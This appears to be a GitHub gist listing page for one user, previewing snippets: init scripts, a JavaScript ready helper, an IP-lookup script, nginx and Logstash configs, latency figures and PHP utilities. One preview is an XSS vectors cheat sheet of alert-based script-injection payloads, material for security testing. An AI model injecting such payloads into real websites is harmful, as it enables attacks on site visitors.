Skip to content

Instantly share code, notes, and snippets.

@Anye
Anye / supervisord.sh
Created Jun 20, 2019 — forked from danmackinlay/supervisord.sh
an init.d script for supervisord
View supervisord.sh
#! /bin/sh
### BEGIN INIT INFO
# Provides: supervisord
# Required-Start: $remote_fs
# Required-Stop: $remote_fs
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: Example initscript
# Description: This file should be used to construct scripts to be
# placed in /etc/init.d.
@Anye
Anye / xss_vectors.txt
Created Sep 1, 2018 — forked from kurobeats/xss_vectors.txt
XSS Vectors Cheat Sheet
View xss_vectors.txt
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
@Anye
Anye / document_ready.js
Created Oct 13, 2017
Pure javascript implement for jQuery's .ready(), usage: document.ready(function() { /*you code*/ });
View document_ready.js
(function () {
var ie =!!(window.attachEvent&&!window.opera),wk=/webkit\/(\d+)/i.test(navigator.userAgent)&&(RegExp.$1<525);
var fn =[],run=function(){for(var i=0;i<fn.length;i++)fn[i]();},d=document;d.ready=function(f){
if(!ie&&!wk&&d.addEventListener){return d.addEventListener('DOMContentLoaded',f,false);}if(fn.push(f)>1)return;
if(ie)(function(){try{d.documentElement.doScroll('left');run();}catch(err){setTimeout(arguments.callee,0);}})();
else if(wk)var t=setInterval(function(){if(/^(loaded|complete)$/.test(d.readyState))clearInterval(t),run();},0);};
})();
View get_outer_ip.sh
#!/bin/bash
get_outer_ip() {
ip_addr=$( curl -sS http://echoip.me/raw )
if [[ ! "${ip_addr}" =~ ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
ip_addr=$( dig +short @resolver1.opendns.com myip.opendns.com )
ip_addr=${ip_addr//\"/}
if [[ ! "${ip_addr}" =~ ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
ip_addr=$( dig +short @ns1.google.com o-o.myaddr.l.google.com -t txt )
if [[ ! "${ip_addr}" =~ ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
@Anye
Anye / nginx-vhost-proxprox.conf
Created Aug 1, 2017 — forked from sergey-dryabzhinsky/nginx-vhost-proxprox.conf
Nginx virtual host config for Proxmox. To hide pveproxy on 8006 port behind. With working VNC passthrough.
View nginx-vhost-proxprox.conf
###
# Nginx vhost file to hide Proxmox pveproxy
# For 3.4+ version, maybe older too.
#
# Do not forget to create file
# /etc/default/pveproxy:
# ALLOW_FROM="127.0.0.1"
# DENY_FROM="all"
# POLICY="allow"
#
@Anye
Anye / latency.txt
Created Nov 23, 2016 — forked from jboner/latency.txt
Latency Numbers Every Programmer Should Know
View latency.txt
Latency Comparison Numbers
--------------------------
L1 cache reference 0.5 ns
Branch mispredict 5 ns
L2 cache reference 7 ns 14x L1 cache
Mutex lock/unlock 25 ns
Main memory reference 100 ns 20x L2 cache, 200x L1 cache
Compress 1K bytes with Zippy 3,000 ns 3 us
Send 1K bytes over 1 Gbps network 10,000 ns 10 us
Read 4K randomly from SSD* 150,000 ns 150 us ~1GB/sec SSD
@Anye
Anye / logstash-template.json
Created Sep 29, 2016 — forked from deverton/logstash-template.json
Logstash Elasticsearch Template
View logstash-template.json
{
"template": "logstash-*",
"settings" : {
"number_of_shards" : 1,
"number_of_replicas" : 0,
"index" : {
"query" : { "default_field" : "@message" },
"store" : { "compress" : { "stored" : true, "tv": true } }
}
},
@Anye
Anye / remove_avatar.php
Created Apr 7, 2015
模糊化微信聊天记录截图
View remove_avatar.php
<?php
/**
* 模糊化微信聊天记录截图
*
* 给聊天记录上方联系人昵称、右边头像、右边头像模糊化(for Jonns)
*
* @create 2015年4月8日00:00:00
*
* @author AnyeGates <me@gatesanye.com>
*/
@Anye
Anye / func define
Created Aug 25, 2014
php get function defination
View func define
function get_func_define($function_name)
{
$reflFunc = new ReflectionFunction($function_name);
return array(
'filename'=>$reflFunc->getFileName(),
'line'=> $reflFunc->getStartLine(),
'obj'=>$reflFunc
);
}
@Anye
Anye / php-fpm.sh
Created Aug 10, 2014
php-fpm 启动脚本
View php-fpm.sh
#! /bin/sh
#
# chkconfig: - 84 16
# description: PHP FastCGI Process Manager
# processname: php-fpm
# config: /etc/php-fpm.conf
# config: /etc/sysconfig/php-fpm
# pidfile: /var/run/php-fpm/php-fpm.pid
#
### BEGIN INIT INFO
You can’t perform that action at this time.